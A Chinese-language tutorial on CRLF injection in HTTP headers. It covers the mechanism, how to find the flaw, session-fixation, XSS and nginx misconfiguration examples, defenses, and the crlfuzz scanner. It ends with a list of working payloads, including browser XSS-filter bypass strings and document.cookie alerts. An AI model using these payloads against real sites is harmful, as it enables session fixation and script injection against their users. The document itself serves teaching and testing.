一、CRLF介绍
CRLF是CR和LF两个字符的拼接，它们 分别代表”回车+换行”（\r\n）。十六进制编码分别为0x0d和0x0a，URL编码为%0D和%0A。CR和LF组合在一起即CRLF命令，它表示键盘上的"Enter"键，许多应用程序和网络协议使用这些命令作为分隔符。
- CR：回车，移动到当前行的开始
- LF：换行，光标垂直移动到下一行
HTTP报文结构：
从上图可以看到：HTTP报文由三部分组成：状态行、首部、主体。
可以看到状态行和首部行中的每行都是以回车符（\r，%0d，CR）和换行符（\n，%0a，LF）结束。
这是 因为HTTP规范中行应该使用CRLF结束。另外，首部和主体由两个CRLF分隔 。
二、CRLF原理分析
CRLF是 “ 回车+换行 ”（\r\n）的简称。 在HTTP协议中，HTTP Header与HTTP Body是用两个CRLF分隔的，浏览器根据这两个CRLF来取出HTTP内容并显示出来 。所以，一旦能够控制HTTP消息头中的字符，注入一些恶意的换行，这样我们就能注入一些会话Cookie或者HTML代码。
CRLF漏洞可以造成Cookie会话固定漏洞和反射型XSS（可过waf）的危害。
三、CRLF漏洞挖掘
CRLF注入漏洞的本质和XSS有点相似，攻击者将恶意数据发送给易受攻击的Web应用程序， Web应用程序将恶意数据输出在HTTP响应头中。（XSS一般输出在主体中）， 所以CRLF注入漏洞的挖掘和XSS差不多。 通过修改HTTP参数或URL，注入恶意的CRLF，查看构造的恶意数据是否在响应头中输出 。 漏洞注入点主要在重定向或者跳转的地方。
挖掘此类漏洞，观察我们的输入和输出位置，对于CRLF则是观察返回的各种类型的协议头，所以挖掘分三步：
- 观察输出是否在返回头中，查看输入，可能是在URL值和参数、cookie头中。在过往的挖掘过程中，最常见的两种情况是使用输入参数Set-Cookie和302跳转location处。
- 提交 %0d%0a 字符，验证服务器是否响应%0d%0a，若过滤可以通过双重编码绕过。
- 漏洞利用，使杀伤最大化，将漏洞转化为HTML注入，XSS，缓存等。
CRLF漏洞一般通过如下3个条件可以达成这种攻击（当然要没过滤%0d%0a）：
- Set-Cookie中的内容用户可以控制
- 302跳转的Location地址用户可以控制
- 其他自定义Header用户可以控制
四、CRLF实例
4.1、实例1（会话固定漏洞）
一般网站会在HTTP头中用 Location: http://baidu.com 这种方式来进行302跳转，所以我们能控制的内容就是Location：后面的XX某个网站，对这个地址进行污染。
假设服务端（PHP）的处理方式：
代码意思是说当条件满足时，将请求包中url参数拼接到Loction字符串中，并设置成响应头发送给客户端。
此时服务器端接收到的url参数值是我们修改后的： http://baidu.com/xxx%0a%0dSet-Cookie:test=123
在url参数值拼接到Location字符串中，设置成响应头后，响应头就会看到：Set-Cookie:test=123
一个正常的302跳转包是这样的：
但是如果我们输入的是： http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun
注入了一个换行，此时的返回包就会变成下面这样：
这时我们就给访问者设置了一个SESSION，造成一个 “会话固定漏洞 ”。
4.2、实例2（XSS漏洞）
通过注入两个CRLF就能造成一个无视浏览器Filter的反射型XSS 。
比如一个网站接收url参数 http://test.sina.com.cn/?url=xxx， xxx放在Location后面作为一个跳转。如果我们输入的是
http://test.sina.com.cn/?url=%0d%0a%0d%0a < img src=1 οnerrοr=alert(/xss/)>
我们的返回包就会变成这样：
之前说了 浏览器会根据第一个CRLF把HTTP包分成header和body，然后将body显示出来 。于是我们这里这个标签就会显示出来，造成一个XSS。
为什么说是无视浏览器filter的，这里涉及到另一个问题。
浏览器的Filter是浏览器应对一些反射型XSS做的保护策略，当url中含有XSS相关特征的时候就会过滤掉不显示在页面中，所以不能触发XSS。
怎么才能关掉Filter？一般来说用户这边是不行的，只有数据包中http头含有 X-XSS-Protection:0 ，浏览器才不会开启Filter。
所以遇到XSS过滤的情况我们就 可以在httpheader中注入X-XSS-Protection:0，可绕过浏览器的过滤规则实现XSS弹窗显示。
4.3、实例3（nginx配置错误之CRLF漏洞）
使用vulhub的环境，进入 vulhub/nginx/insecure-configuration 目录，执行docker-compose up -d启动环境
错误的配置文件示例（原本的目的是为了让http的请求跳转到https上）：
1、$uri2、$document_uri 前两个变量是表示的是解码以后的请求路径，不带参数3、$request_uri 表示的是完整的URI（没有解码）
当使用前两个变量的时候就会自动解码，那么思路就是将payload编码，然后让他自动解码 。
Payload: ` http://your-ip:8080/%0d%0aSet-Cookie:%20a=1 `，可注入Set-Cookie头。
可以看到payload中利用urlcode编码了来实现了换行，然后就成功了。
解决方法也很简单，就不要解码，可以使用第三个变量 $request_uri。
五、防御
要避免http响应截断，需要注意以下几点：
- 对用户的数据进行合法性校验，对特殊的字符进行编码，如<、>、’、"、CR、LF、等，限制用户输入CR和LF，或者对CR和LF正确编码后再输出，以防止注入自定义HTTP头。
- 创建安全字符白名单，只接收白名单中的字符出现在HTTP响应头文件中。
- 在将数据传送到http响应头之前，删除所有的换行符。
六、CRLF Payload
探测漏洞：
%0d%0aheader:header
%0aheader:header
%0dheader:header
%23%0dheader:header
%3f%0dheader:header
/%250aheader:header
/%250aheader:header
/%%0a0aheader:header
/%3f%0dheader:header
/%23%0dheader:header
/%25%30aheader:header
/%25%30%61header:header
/%u000aheader:header 开放重定向：
/www.google.com/%2f%2e%2e%0d%0aheader:header CRLF-XSS：
%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20οnlοad=alert(document.domain)>%0d%0a0%0d%0a/%2e%2e XSS绕过：
%2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent-Length:39%0a%0a%3cscript%3ealert(document.cookie)%3c/ Location：
%0d%0aContent-Type:%20text%2fhtml%0d%0aHTTP%2f1.1%20200%20OK%0d%0aContent-Type:%20text%2fhtml%0d%0a%0d%0a%3Cscript%3Ealert(‘XSS’);%3C%2fscript%3E七、CRLFuzz工具检测
从 Release v1.4.1 · dwisiswant0/crlfuzz (github.com)下载工具：
具体使用方法请参考 GitHub - dwisiswant0/crlfuzz: A fast tool to scan CRLF vulnerability written in Go
使用crlfuzz工具检测4.3章节中的nginx配置错误之CRLF漏洞：
前方带 
表明这条payload探测到了CRLF漏洞。
表明这条payload探测到了CRLF漏洞。 
